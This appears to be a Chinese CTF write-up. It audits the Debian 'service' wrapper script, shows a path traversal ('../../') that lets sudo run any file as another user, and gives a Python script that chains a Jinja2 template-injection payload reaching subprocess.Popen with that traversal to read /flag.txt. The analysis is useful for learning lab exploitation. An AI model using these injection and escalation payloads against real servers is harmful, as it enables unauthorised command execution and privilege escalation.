62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#!/bin/sh

###########################################################################
# /usr/bin/service
#
# A convenient wrapper for the /etc/init.d init scripts.
#
# This script is a modified version of the /sbin/service utility found on
# Red Hat/Fedora systems (licensed GPLv2+).
#
# Copyright (C) 2006 Red Hat, Inc. All rights reserved.
# Copyright (C) 2008 Canonical Ltd.
# * August 2008 - Dustin Kirkland <kirkland@canonical.com>
# Copyright (C) 2013 Michael Stapelberg <stapelberg@debian.org>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# On Debian GNU/Linux systems, the complete text of the GNU General
# Public License can be found in `/usr/share/common-licenses/GPL-2'.
###########################################################################


is_ignored_file() {
case "$1" in
skeleton | README | *.dpkg-dist | *.dpkg-old | rc | rcS | single | reboot | bootclean.sh)
return 0
;;
esac
return 1
}

VERSION="`basename $0` ver. 1.56+nmu1"
USAGE="Usage: `basename $0` < option > | --status-all | \
[ service_name [ command | --full-restart ] ]"
SERVICE=
ACTION=
SERVICEDIR="/etc/init.d"
OPTIONS=
is_systemd=


if [ $# -eq 0 ]; then
echo "${USAGE}" >&2
exit 1
fi

if [ -d /run/systemd/system ]; then
is_systemd=1
fi

cd /
while [ $# -gt 0 ]; do
case "${1}" in
--help | -h | --h* )
echo "${USAGE}" >&2
exit 0
;;
--version | -V )
echo "${VERSION}" >&2
exit 0
;;
*)
if [ -z "${SERVICE}" -a $# -eq 1 -a "${1}" = "--status-all" ]; then
cd ${SERVICEDIR}
for SERVICE in * ; do
case "${SERVICE}" in
functions | halt | killall | single| linuxconf| kudzu)
;;
*)
if ! is_ignored_file "${SERVICE}" \
&& [ -x "${SERVICEDIR}/${SERVICE}" ]; then
out=$(env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" status 2>&1)
retval=$?
if echo "$out" | egrep -iq "usage:"; then
#printf " %s %-60s %s\n" "[?]" "$SERVICE:" "unknown" 1>&2
echo " [ ? ] $SERVICE" 1>&2
continue
else
if [ "$retval" = "0" -a -n "$out" ]; then
#printf " %s %-60s %s\n" "[+]" "$SERVICE:" "running"
echo " [ + ] $SERVICE"
continue
else
#printf " %s %-60s %s\n" "[-]" "$SERVICE:" "NOT running"
echo " [ - ] $SERVICE"
continue
fi
fi
#env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" status
fi
;;
esac
done
exit 0
elif [ $# -eq 2 -a "${2}" = "--full-restart" ]; then
SERVICE="${1}"
# On systems using systemd, we just perform a normal restart:
# A restart with systemd is already a full restart.
if [ -n "$is_systemd" ]; then
ACTION="restart"
else
if [ -x "${SERVICEDIR}/${SERVICE}" ]; then
env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" stop
env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" start
exit $?
fi
fi
elif [ -z "${SERVICE}" ]; then
SERVICE="${1}"
elif [ -z "${ACTION}" ]; then
ACTION="${1}"
else
OPTIONS="${OPTIONS} ${1}"
fi
shift
;;
esac
done

run_via_sysvinit() {
# Otherwise, use the traditional sysvinit
if [ -x "${SERVICEDIR}/${SERVICE}" ]; then
exec env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" ${ACTION} ${OPTIONS}
else
echo "${SERVICE}: unrecognized service" >&2
exit 1
fi
}

update_openrc_started_symlinks() {
# maintain the symlinks of /run/openrc/started so that
# rc-status works with the service command as well
if [ -d /run/openrc/started ] ; then
case "${ACTION}" in
start)
if [ ! -h /run/openrc/started/$SERVICE ] ; then
ln -s $SERVICEDIR/$SERVICE /run/openrc/started/$SERVICE || true
fi
;;
stop)
rm /run/openrc/started/$SERVICE || true
;;
esac
fi
}

# When this machine is running systemd, standard service calls are turned into
# systemctl calls.
if [ -n "$is_systemd" ]
then
UNIT="${SERVICE%.sh}.service"
# avoid deadlocks during bootup and shutdown from units/hooks
# which call "invoke-rc.d service reload" and similar, since
# the synchronous wait plus systemd's normal behaviour of
# transactionally processing all dependencies first easily
# causes dependency loops
if ! systemctl --quiet is-active multi-user.target; then
sctl_args="--job-mode=ignore-dependencies"
fi

case "${ACTION}" in
restart|status|try-restart)
exec systemctl $sctl_args ${ACTION} ${UNIT}
;;
start|stop)
# Follow the principle of least surprise for SysV people:
# When running "service foo stop" and foo happens to be a service that
# has one or more .socket files, we also stop the .socket units.
# Users who need more control will use systemctl directly.
for unit in $(systemctl list-unit-files --full --type=socket 2>/dev/null | sed -ne 's/\.socket\s*[a-z]*\s*$/.socket/p'); do
if [ "$(systemctl -p Triggers show $unit)" = "Triggers=${UNIT}" ]; then
systemctl $sctl_args ${ACTION} $unit
fi
done
exec systemctl $sctl_args ${ACTION} ${UNIT}
;;
reload)
_canreload="$(systemctl -p CanReload show ${UNIT} 2>/dev/null)"
if [ "$_canreload" = "CanReload=no" ]; then
# The reload action falls back to the sysv init script just in case
# the systemd service file does not (yet) support reload for a
# specific service.
run_via_sysvinit
else
exec systemctl $sctl_args reload "${UNIT}"
fi
;;
force-stop)
exec systemctl --signal=KILL kill "${UNIT}"
;;
force-reload)
_canreload="$(systemctl -p CanReload show ${UNIT} 2>/dev/null)"
if [ "$_canreload" = "CanReload=no" ]; then
exec systemctl $sctl_args restart "${UNIT}"
else
exec systemctl $sctl_args reload "${UNIT}"
fi
;;
*)
# We try to run non-standard actions by running
# the init script directly.
run_via_sysvinit
;;
esac
fi

update_openrc_started_symlinks
run_via_sysvinit

审计一下

如果命令打的是

1
sudo -u dragon_lord /usr/sbin/service hello

120行 就会执行

1
2
elif [ -z "${SERVICE}" ]; then
SERVICE="${1}"

SERVICE 被赋值为 hello

然后最后调用 run_via_sysvinit 函数

1
2
3
4
5
6
7
8
9
run_via_sysvinit() {
# Otherwise, use the traditional sysvinit
if [ -x "${SERVICEDIR}/${SERVICE}" ]; then
exec env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" ${ACTION} ${OPTIONS}
else
echo "${SERVICE}: unrecognized service" >&2
exit 1
fi
}

开了个 env 并在这个 env 中执行了 $SERVICEDIR/$SERVICE

而在 49行

1
SERVICEDIR="/etc/init.d"

所以如果 命令打的是

1
sudo -u dragon_lord /usr/sbin/service ../../usr/bin/whoami

应该就能得到 回显 说当前用户是 dragon_lord

image-20210707125450621

因而可以创建一个shell 脚本,里面是 cat /flag.txt 更改其文件权限为777 后,访问该文件,从而getflag

写个python 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import html

url = "http://127.0.0.1:16789/"
from base64 import b64encode
flag = bytes("#!/bin/bash\ncat /flag.txt\n" , "utf-8")
b = b64encode(b64encode(flag))
cmd1 = "echo {} > cmd.sh".format(bytes.decode(b,"utf-8"))
cmd2 = "base64 -d cmd.sh > cmd1.sh"
cmd3 = "base64 -d cmd1.sh > cmd.sh"
cmd4 = "chmod 777 cmd.sh"
cmd5 = "sudo -u dragon_lord /usr/sbin/service ../../var/www/cmd.sh"
cmd6 = "rm cmd1.sh"
cmd7 = "rm cmd.sh"
cmds = [eval("cmd"+str(i)) for i in range(1,8)]

for cmd in cmds:
print(cmd)
payload = '(((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())[330]|attr("__init__")|attr("__globals__"))["__builtins__"]["eval"]("__import__")("imp")|attr("load_source")("oos","/usr/local/lib/python3.9/subprocess.py")|attr("Popen")("{}",shell=True,stdout=(dict(a=a)|lower|list|count-dict(aa=a)|lower|list|count))|attr("stdout")|attr("read")()'.format(cmd)
payload = polish_payload(payload)
resp = requests.get(url=url + payload)
r = html.unescape(resp.text)
# print(r)
if re.findall("""b['"].*n['"]""",r):
r = re.findall("""b['"].*n['"]""",r)[0]
print(eval(r[1:]))

image-20210707132132080

最终成功get flag